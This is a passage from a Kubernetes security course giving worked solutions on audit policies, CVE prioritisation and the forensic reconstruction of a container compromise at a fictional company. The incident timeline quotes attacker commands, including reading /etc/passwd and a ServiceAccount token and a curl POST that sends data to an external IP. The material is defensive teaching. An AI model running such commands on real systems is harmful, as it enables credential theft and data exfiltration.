  1. Reconstruct the complete sequence of what happened, with the time of each step.
  2. State which control stopped each attempt and what the outcome would have been without that control.
  3. There is one piece of data in the three sources that reveals something important about the deployed image, contradicting the policy from 08-05. Identify it.
  4. Write the five immediate actions and the three underlying fixes.

Solutions

Solution 1

1. The two rules:

apiVersion: audit.k8s.io/v1
kind: Policy
omitStages: [RequestReceived]
rules:
  # ---------------------------------------------------------------
  # RULE A: discard the noise of the kubelet reading ConfigMaps.
  # IT MUST GO AT THE BEGINNING of the file, in the None block.
  # Reason: the policy is evaluated in order and the FIRST matching
  # rule applies. If this one came after rule B or after
  # any generic rule, those reads would already have been logged.
  # ---------------------------------------------------------------
  - level: None
    users: ["system:kubelet"]
    userGroups: ["system:nodes"]
    verbs: ["get", "list", "watch"]
    resources:
      - group: ""
        resources: ["configmaps"]

  # ... (the rest of the None block: probes, controllers, events) ...

  # ---------------------------------------------------------------
  # RULE B: writes on production CronJobs, with the body.
  # It goes in the specific rules block, BEFORE the generic
  # Metadata-level rules that would capture these requests
  # in less detail.
  # ---------------------------------------------------------------
  - level: Request
    verbs: ["create", "update", "patch", "delete"]
    namespaces: ["rutas-norte-pro"]
    resources:
      - group: "batch"
        resources: ["cronjobs"]

  # ... (the rest of the specific rules) ...

  # The final generic rule
  - level: Metadata

The reasoning about the order is what matters in this exercise. With the policy evaluated top to bottom and the first match applying:

  • Rule A before everything: if it were at the end, the kubelet's reads would already have matched the generic Metadata rule and would be in the log.
  • Rule B before the generic Metadata one: if it came afterwards, writes on CronJobs would be logged at Metadata level and we would not have the body, which is exactly what the question asks for.

2. The query:

jq -r 'select(
    .objectRef.resource == "cronjobs" and
    .objectRef.namespace == "rutas-norte-pro" and
    (.verb | test("create|update|patch|delete"))
  )
  | "=== \(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.name)  [\(.responseStatus.code)]",
    "    schedule: \(.requestObject.spec.schedule // "unchanged")",
    "    image: \(.requestObject.spec.jobTemplate.spec.template.spec.containers[0].image // "unchanged")",
    "    suspended: \(.requestObject.spec.suspend // false)"' \
  /var/log/kubernetes/audit.log
=== 2026-08-05T18:22:41Z  [email protected]  patch  occupancy-reports  [200]
    schedule: 0 4 * * *
    image: registry.rutasnorte.example/rutasnorte/occupancy-reports@sha256:8a3f...
    suspended: false
=== 2026-08-06T02:11:09Z  system:serviceaccount:argocd:argocd-application-controller  patch  occupancy-reports  [200]
    schedule: 0 3 * * *
    image: registry.rutasnorte.example/rutasnorte/occupancy-reports@sha256:8a3f...
    suspended: false

The interpretation: somebody changed the run time from 03:00 to 04:00 in the afternoon, and Argo CD reverted it at 02:11 because the change was not in Git. It is exactly the expected GitOps behaviour (10-05), and the audit log documents it.

3. Why Request and not the others:

Level What would have happened
None Nothing would be logged: the question could not be answered
Metadata We would know who modified the CronJob and when, but not what changed. The question asks "and what exactly changed"
Request Correct: metadata plus the object sent, which contains the schedule, the image and the rest of the spec
RequestResponse It would add the object returned by the server, which for a patch is practically the same object already applied. It doubles the size without adding useful information

One nuance to complete the answer: with Request we see the object sent, which on a patch may be only the modified fragment, not the complete object. If the full resulting state were needed, RequestResponse would be justifiable. For CronJobs there is no risk of personal data in the body, so it would be an acceptable option; it simply is not necessary.

Solution 2

Finding B — CVE-2026-13045 (express, bookings-api)

Factor Assessment
Severity HIGH (8.1)
Fix? Yes
In KEV? Yes: exploitation confirmed
Exposure bookings-api serves internet requests through the Ingress
Execution path Yes: query parameter parsing runs on every request
Data affected It gives potential access to the API that serves customer data

Priority: P1. Deadline: 24 hours.

Even though its CVSS (8.1) is lower than either of the two criticals, it is the most urgent of the four: it is in the catalogue of actively exploited vulnerabilities, it affects an internet-facing component, the vulnerable path runs on every request and it gives access to personal data. It is the canonical example of why severity alone is not enough for prioritisation.

Action: update express to the fixed version, rebuild bookings-api, scan, sign and deploy today. If the full cycle would not fit in 24 hours, mitigate in the meantime with a WAF rule (08-04) rejecting the affected request pattern.

Finding D — CVE-2026-13102 (nginx, web-store)

Factor Assessment
Severity MEDIUM (5.3)
Fix? Yes
Exposure web-store is internet-facing
Execution path Only if server_tokens is enabled
Compensating control Checkable immediately

Priority: P4 (90 days), with an immediate zero-cost mitigation.

Action: first check the configuration:

kubectl exec -n rutas-norte-pro deploy/web-store -- \
  grep -r server_tokens /etc/nginx/ || echo "not configured (default: on)"

If it is enabled, turning it off in the nginx ConfigMap is a one-line change that removes the exposure today, independently of the fix. After that, the image update goes into the normal weekly rebuild cycle.

It is a good example of how a configuration mitigation can be faster than the patch, and it should not be dismissed for being "less definitive".

Finding A — CVE-2026-13001 (libxml2, bookings-postgres)

Factor Assessment
Severity CRITICAL (9.8)
Fix? Yes
In KEV? No
Exposure bookings-postgres is not reachable from the internet (the NetworkPolicy from 08-04)
Execution path No: it requires the xml data type, which is not used
Data affected If exploited, full access to the customer data

Priority: P3 (30 days).

It is CRITICAL at 9.8, and even so it is not urgent: the vulnerable path requires processing XML, and the Rutas Norte schema has no column of type xml. What is more, the component is not reachable from outside the cluster.

But there are two important nuances that stop it going any lower:

  1. The verification that XML is not used must be checked, not assumed. A query has to be run confirming that no table uses that type: 
    SELECT table_name, column_name, data_type
FROM information_schema.columns
WHERE data_type = 'xml';
  2. If it were exploited, the impact would be maximal: it is the personal data of every customer. When the potential impact is that, you do not go below P3 even if exploitability is low.

Action: update the mirrored PostgreSQL image in the monthly external/ image cycle.

Finding C — CVE-2026-12988 (openssl, notifications-worker)

Factor Assessment
Severity CRITICAL (9.4)
Fix? No: affected, no patch available
Execution path No: it affects client certificate verification, and the worker only acts as a client
Exposure No network ingress (the NetworkPolicy from 08-04)

Priority: P5 → it requires a documented exception.

There is no fix available, so there is no possible action beyond monitoring. And the affected path is not executed: client certificate verification is what a TLS server does, and notifications-worker only opens outbound connections towards SMTP.

The exception register entry:

  - cve: CVE-2026-12988
    component: openssl
    images: ["rutasnorte/notifications-worker"]
    severity: CRITICAL
    cvss: 9.4
    fix_status: affected   # no patch from the maintainer
    reason: >-
      The vulnerability affects the CLIENT certificate verification
      path, which only runs when the process acts as a TLS server.
      notifications-worker only opens outbound connections towards the
      provider's SMTP server, always acting as a client. The vulnerable
      code path is not executed.
      Verified by: review of the application code and of the SBOM.
    mitigation: >-
      The component accepts no inbound connections (a NetworkPolicy with no
      Ingress rules, 08-04). It runs without root, with capabilities dropped and a
      read-only file system (08-02).
    approved_by: security
    owner: platform
    approval_date: 2026-08-06
    expiry_date: 2026-09-06     # monthly review: a patch may appear
    review: monthly
    follow_up: >-
      Check weekly whether the maintainer publishes a fix. As soon as
      one exists, this exception is closed and it becomes P2.

Priority summary:

Order Finding CVSS Priority Deadline
1 B — express 8.1 P1 24 h
2 D — nginx 5.3 P4 + mitigate today Mitigate today, patch within 90 days
3 A — libxml2 9.8 P3 30 days
4 C — openssl 9.4 P5 (exception) Monthly monitoring

The order does not match the CVSS order. That is exactly the lesson: prioritising by abstract severity would have put A and C first (the two CRITICALs) and B third, delaying the only one that is being actively exploited in an internet-facing component.

Solution 3

1. Reconstruction of the sequence

Time Source What happened
03:47:08.229 Falco sh -c "cat /etc/passwd" is launched with node as the parent process. The application process has executed a shell: this is the moment of compromise, probably a command injection through the application
03:47:09.884 Falco From that shell the ServiceAccount token is read: the reconnaissance phase, looking for credentials
03:47:09 Audit It uses that token: it tries list secrets in the namespace → 403
03:47:12.155 Falco It runs curl -X POST https://192.0.2.55/r -d @-: an exfiltration attempt towards an external IP
03:47:12.401 Hubble That connection on port 443 → DROPPED, Policy denied
03:47:13.455 Hubble A retry on port 53 (a technique for getting through permissive firewalls) → DROPPED
03:47:14 Audit It changes strategy: it tries create pods/exec to jump to another pod → 403
03:47:31 Audit It settles for what it can do: it reads configmaps/worker-config → 200

A classic and complete sequence in 23 seconds: compromise → credential reconnaissance → escalation attempt → exfiltration attempt → lateral movement attempt → falling back to what is permitted.

2. What stopped each attempt

Attempt The control that stopped it Lesson Without that control
Listing secrets RBAC: the worker's SA has no permission on secrets 08-01 It would have obtained the bookings-postgres credentials: direct access to every customer's personal data
Exfiltrating over HTTPS Egress NetworkPolicy: the worker can only reach SMTP 08-04 The data it already had would have left the cluster. A consummated data breach
Exfiltrating over 53 The same policy 08-04 Likewise
pods/exec in another pod RBAC: the SA does not have that subresource 08-01 Lateral movement to bookings-api or to bookings-postgres
Reading the ConfigMap Nothing: it was a legitimate permission — (It happened)

All four of the module's controls worked. And the three detection sources worked: Falco saw what was happening inside the container, the audit log saw the attempts against the API, and Hubble saw the attempts against the network. None of the three, on its own, told the complete story.

3. The piece of data that contradicts the policy from 08-05

There is a shell (sh) and there is curl inside the notifications-worker image.

According to the image policy from 08-05, notifications-worker should have been built on gcr.io/distroless/nodejs22, which contains no shell and no utilities. That the attacker was able to run sh -c and curl proves that the deployed image is not distroless.

The implications are serious and have to be investigated:

  • Was the Dockerfile changed without anybody reviewing it?
  • Was an image of different provenance deployed? (signature verification should have prevented it)
  • Is the Kyverno policy from 08-05 on Audit instead of Enforce?
  • Does the deployed digest match the one the pipeline signed?

And there is a very valuable underlying lesson: a minimal image is not just a reduction in vulnerability surface, it is a reduction in the attacker's capability. With distroless, the steps at 03:47:08 and 03:47:12 would have been impossible: there is no sh to launch and no curl to run. The initial compromise would have happened just the same, but the attacker would have been left with a Node process and no tools.

An immediate check:

# Which digest is actually running?
kubectl get pod -n rutas-norte-pro notifications-worker-6d4f8b9c7-k9x2 \
  -o jsonpath='{.status.containerStatuses[?(@.name=="worker")].imageID}{"\n"}'

# Does it match the one the pipeline signed?
cosign verify \
  --certificate-identity-regexp "https://git.rutasnorte.example/platform/.*" \
  --certificate-oidc-issuer "https://git.rutasnorte.example" \
  "<the digest above>"

# Does the image have a shell?
trivy image --list-all-pkgs "<the digest>" | grep -E 'busybox|bash|coreutils|curl'

4. Immediate actions and underlying fixes

Five immediate actions (the first 30 minutes):

# Action Command
1 Isolate the pod without destroying it kubectl label pod -n rutas-norte-pro notifications-worker-6d4f8b9c7-k9x2 app- status=quarantined (the ReplicaSet creates a clean one automatically)
2 Apply the quarantine NetworkPolicy The one from the 08-04 exercise: total denial for status: quarantined
3 Rotate the credentials reachable from that pod The DB credentials it used, the SMTP credentials, and its ServiceAccount token
4 Determine the scope with the three sources The audit log, Falco and Hubble for the last 72 hours for that pod and for every pod in the namespace
5 Notify the compliance officer There are indications of an attempt to access personal data; the notification deadlines start when the fact becomes known

Three underlying fixes:

# Fix Why
1 Investigate and correct the non-compliant image. Verify that the Dockerfile uses distroless, that the signature verification policy is on Enforce and that the deployed digest is the signed one It is the deviation that widened the attacker's capability. Without resolving it, the next incident will be the same
2 Find and close the entry vector. The shell's parent was node: there is a command injection in the worker's code. Review the code, scan the dependencies, apply the vulnerability management process from section 10 Everything else was containment; this is the cause
3 Review the worker's permissions. It needed configmaps/worker-config and nothing else. Verify with kubectl auth can-i --list that it has no extra permissions, and confirm that its NetworkPolicy only allows the DB and SMTP Apply the incident's lesson to the rest of the components

And a fourth that is not technical but is just as important: document the whole incident with its timeline, the controls that worked, the ones that were missing and the actions taken. It is evidence for the audit, training material for the team and the basis for the quarterly security review.

Conclusion

With this lesson we close module 8 and the two questions that were left open:

  • The apiserver audit log answers "who did what?". Its policy has four levels —None, Metadata, Request, RequestResponse— and is evaluated in order, applying the first matching rule. For Secrets, always Metadata: RequestResponse would write the customer database credentials into the log. There are file and webhook destinations, and the webhook must point at a system the cluster can only write to.
  • With jq over the file you answer concrete questions in seconds: who read the credentials, who deleted that Deployment, what that ServiceAccount did, who got inside a production container, who changed the RBAC. And the logged 403s are detection signals, not non-events.
  • Trivy scans images locally, in the pipeline with a threshold that breaks the build (with --ignore-unfixed, or the gate ends up dismantled) and continuously against what is running, by digest. The Trivy Operator automates it inside the cluster and publishes the results as custom resources that integrate with Prometheus.
  • kube-bench assesses the cluster's configuration against the CIS standards. Its findings are managed by comparing against a known baseline, and the ones that are inapplicable on managed Kubernetes are documented, not ignored.
  • Falco provides the runtime detection no preventive control can give, by observing system calls. Its best rules are not generic: they are the reflection of the design decisions from the earlier lessons —no shell because we use distroless, no system writes because the rootfs is read-only, no token reads because we unmounted them—. Its alerts integrate with module 7's Alertmanager, and you have to watch that Falco is running.
  • And what is genuinely missing in most teams: vulnerability management as a process, with an inventory, realistic prioritisation (not every critical CVE is urgent: real exploitation, exposure and execution path all count), deadlines by severity, an assigned owner and documented exceptions with an expiry date that break the build when they lapse.
  • The evidence is generated automatically, with a date and a checksum, not the week before the audit. And the audit log itself contains employees' personal data: it needs its legal basis, its retention and its access control.

The final checklist walks the cluster's twenty cross-cutting controls and Rutas Norte's ten components, with their current exceptions, each one with a reason, a review date and an owner.

With this, the Rutas Norte platform is secure and observable. We know who can do what, what each container can do, what talks to what, what exactly runs, who does what and what is happening inside. And when something fails, three independent sources tell the story.

But there is something we have carried along for eight modules without questioning it. Look at the bookings-api manifest: replicas: 4. Four. A number somebody wrote by hand one day, looking at the traffic at that moment. web-store has three. notifications-worker, two.

Those numbers are frozen. They do not change when at three in the afternoon on a Tuesday in February half the capacity is spare, nor when the May bank-holiday weekend arrives and half the country decides to buy bus tickets on the same Thursday afternoon. The platform is perfectly protected and perfectly incapable of adapting to its own load. And a platform that does not respond when it is most needed has failed just as surely as if it had been attacked: customers do not buy tickets, and it makes no difference whether the cause is a security incident or saturation.

Module 9, Scaling and Performance, solves exactly that: horizontal pod autoscaling based on real load, vertical autoscaling to adjust resource requests, autoscaling of the cluster itself when the nodes run out, event-driven and custom-metric scaling with KEDA, high availability with PodDisruptionBudgets and topology spread, and performance fine-tuning. We start with the most important one: 09-01, Horizontal Pod Autoscaling.

◄ Previous
◄
Next ►
►

Kubernetes Course

Module 1: Introduction to Kubernetes

Module 2: Core Kubernetes Components

Module 3: Configuration and Secret Management

Module 4: Networking in Kubernetes

Module 5: Storage in Kubernetes

Module 6: Advanced Kubernetes Concepts

Module 7: Monitoring and Logging

Module 8: Kubernetes Security

Module 9: Scaling and Performance

Module 10: Kubernetes Ecosystem and Tooling

Module 11: Case Studies and Real-World Applications

Module 12: Preparing for Kubernetes Certification

The Project | About Us | Contribute | Donations | License
© Copyright 2026. All rights reserved